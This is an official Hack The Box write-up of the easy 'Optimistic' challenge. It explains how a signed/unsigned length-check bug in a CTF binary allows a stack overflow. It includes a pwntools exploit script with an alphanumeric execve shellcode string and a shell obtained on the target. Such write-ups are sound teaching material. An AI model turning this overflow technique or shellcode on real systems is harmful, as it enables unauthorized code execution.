



HACKTHEBOX



Optimistic

7th October 2022 / Document No.
D22.102.233

Prepared By: w3th4nds

Challenge Author(s): MinatoTW

Difficulty: **Easy**

Classification: Official

Synopsis

Optimistic is an Easy challenge that features a type casting vulnerability, enabling the attacker to trigger a buffer overflow and use unconventional shellcode in order to get code execution.

Skills Required

- Familiarity with ret2shellcode attacks and buffer overflows

Skills Learned

- Bad type casting exploits, using special shellcode

Enumeration

Protections

Starting off, we will take a look at the protections applied to this binary:



```
checksec optimistic
```

```
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       PIE enabled
```

One thing seems unusual; `NX` is disabled. This could lead to a `ret2shellcode` attack later on. We will keep that in mind and move on.

Running the binary, this is what we see:

```
Welcome to the positive community!
We help you embrace optimism.
Would you like to enroll yourself? (y/n): y
Great! Here's a small welcome gift: 0x7ffcb343d150
Please provide your details.
Email: htb@htb
Age: 89
Length of name: 8
Name: w3th4nds
Thank you! We'll be in touch soon.
```

It asks if we want to enroll, gives us a gift (`useful-looking address`), asks for an email, an age, **the length of the name we are about to input**, and then the name itself.

What if we tried to give a large name length, could that lead to it possibly overflowing the allocated buffer used for storing the name? Let's try.

```
Welcome to the positive community!
We help you embrace optimism.
Would you like to enroll yourself? (y/n): y
Great! Here's a small welcome gift: 0x7ffdb8487810
Please provide your details.
Email: htb@htb
Age: 69
Length of name: 1000
Woah there! You shouldn't be too optimistic.
```

No luck. Let's look at how this program runs.

Disassembly

There's only a `main()` function present, along with an `initialize()` function that sets things up and is not interesting to us.

The `main()` function:

```
void main(void)
{
    int iVar1;
    ssize_t sVar2;
    uint local_84;
    undefined4 local_80;
```

```

undefined2 local_7c;
char local_7a;
undefined local_79;
undefined auStack120 [8];
undefined auStack112 [8];
char local_68 [96];

initialize();
puts("Welcome to the positive community!");
puts("We help you embrace optimism.");
printf("Would you like to enroll yourself? (y/n): ");
iVar1 = getchar();
local_7a = (char)iVar1;
getchar();
if (local_7a != 'y') {
    puts("Too bad, see you next time :(");
    local_79 = 0x6e;
    /* WARNING: Subroutine does not return */
    exit(0);
}
printf("Great! Here's a small welcome gift: %p\n",&stack0xffffffffffffffff8);
puts("Please provide your details.");
printf("Email: ");
sVar2 = read(0,auStack120,8);
local_7c = (undefined2)sVar2;
printf("Age: ");
sVar2 = read(0,auStack112,8);
local_80 = (undefined4)sVar2;
printf("Length of name: ");
__isoc99_scanf(&DAT_00102104,&local_84);
if (0x40 < (int)local_84) {
    puts("Woah there! You shouldn't be too optimistic.");
    /* WARNING: Subroutine does not return */
    exit(0);
}
printf("Name: ");
sVar2 = read(0,local_68,(ulong)local_84);
local_84 = 0;
while( true ) {
    if ((int)sVar2 + -9 <= (int)local_84) {
        puts("Thank you! We'll be in touch soon.");
        return;
    }
    iVar1 = isalpha((int)local_68[(int)local_84]);
    if ((iVar1 == 0) && (9 < (int)local_68[(int)local_84] - 0x30U)) break;
    local_84 = local_84 + 1;
}
puts("Sorry, that's an invalid name.");
/* WARNING: Subroutine does not return */
exit(0);
}

```

We can now clearly see, the address that the binary leaked to us, is a `stack address`.

This can be used to defeat the `ASLR` protection applied to all binaries, which places the stack at a semi-random address, making it practically impossible to refer back to `stack` addresses with any accuracy whatsoever.

Furthermore, let's take a close look at this part:

```
printf("Length of name: ");
__isoc99_scanf(&DAT_00102104,&local_84);
if (0x40 < (int)local_84) {
    puts("Woah there! You shouldn\'t be too optimistic.");
    /* WARNING: Subroutine does not return */

    exit(0);
}
printf("Name: ");
sVar2 = read(0,local_68,(ulong)local_84);
```

The program asks the user for their name's length, and the variable in which that length will be stored is an `unsigned integer`.

After that, in the if-statement comparing the given length to `0x40`, to check that it is indeed below that threshold,
the length is being **cast** to `int`.

Then, when used as the size argument in the `read()` call, to read in the given name, it is cast to `ulong`.

This can be easily taken advantage of.

Also worth looking at:

```
printf("Name: ");
sVar2 = read(0,local_68,(ulong)local_84);
local_84 = 0;
while( true ) {
    if ((int)sVar2 + -9 <= (int)local_84) {
        puts("Thank you! We\'ll be in touch soon.");
        return;
    }
    iVar1 = isalpha((int)local_68[(int)local_84]);
    if ((iVar1 == 0) && (9 < (int)local_68[(int)local_84] - 0x30U)) break;
    local_84 = local_84 + 1;
}
puts("Sorry, that\'s an invalid name.");
/* WARNING: Subroutine does not return */
exit(0);
```

A check to make sure our input is `alphanumeric`. Could cause us trouble later on.

Exploitation

Bad type casting is a common mistake and can be a huge bug in the right scenarios.

To explain:

If we were to give `-1` as our name's length, that would be represented in memory as

`0xffffffff`.

That can be interpreted one of two ways:

- as a `-1`, when viewed as a `signed integer`, **OR**
- as a **really big number** (4,294,967,295 to be exact) when viewed as an `unsigned integer`

This is what we will exploit to **create a** `buffer overflow vulnerability` since it passes the size check and is being cast back to the `unsigned` type when used as the length argument of the `read()` call.

In the code snippet below, `local_68` is a `96-byte long buffer`, and `local_84` is the name length variable,

which we deduced can be set to an abnormally large value, while still passing the `(0x40 >= (int)name_length)` size check.

```
sVar2 = read(0,local_68,(ulong)local_84);
```

Recap:

- We have a `stack address` leak, allowing us to refer back to any `stack address` we choose, including the `local_68` buffer address.
- We have a `buffer overflow` through bad type casting.
- `NX` is disabled.

Seems easy at this point, right?

- input a `-1` as our name length
- write `shellcode` at the beginning of the buffer
- fill the rest of the buffer up, until `RIP` is next to be overwritten
- place our buffer address as the return address in the `RIP` register

There is one last thing we need to worry about.

If we take a look back into the disassembly section, we saw the program expects `alphanumeric` input in the buffer we are attempting to overflow.

So, unfortunately, our `shellcode` would be **rejected**, and the program would **exit**.

Not to worry, the [alphanumeric shellcode](#) exists and solves our problem.

Just like that, all that is left is to assemble the last part of our exploit script:

```
buffer_addr = stack_leak - 0x60
shellcode =
b'XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4j
WSEW18EF0V'
payload = shellcode + b'A' * (104 - len(shellcode)) + p64(buffer_addr)
r.sendlineafter(b'Length of name: ', b'-1')
r.sendlineafter(b'Name: ', payload)
```

Solution



```
Thank you! We'll be in touch soon.
$ ls
flag.txt
optimistic
$ cat flag.txt
HTB{*****}
```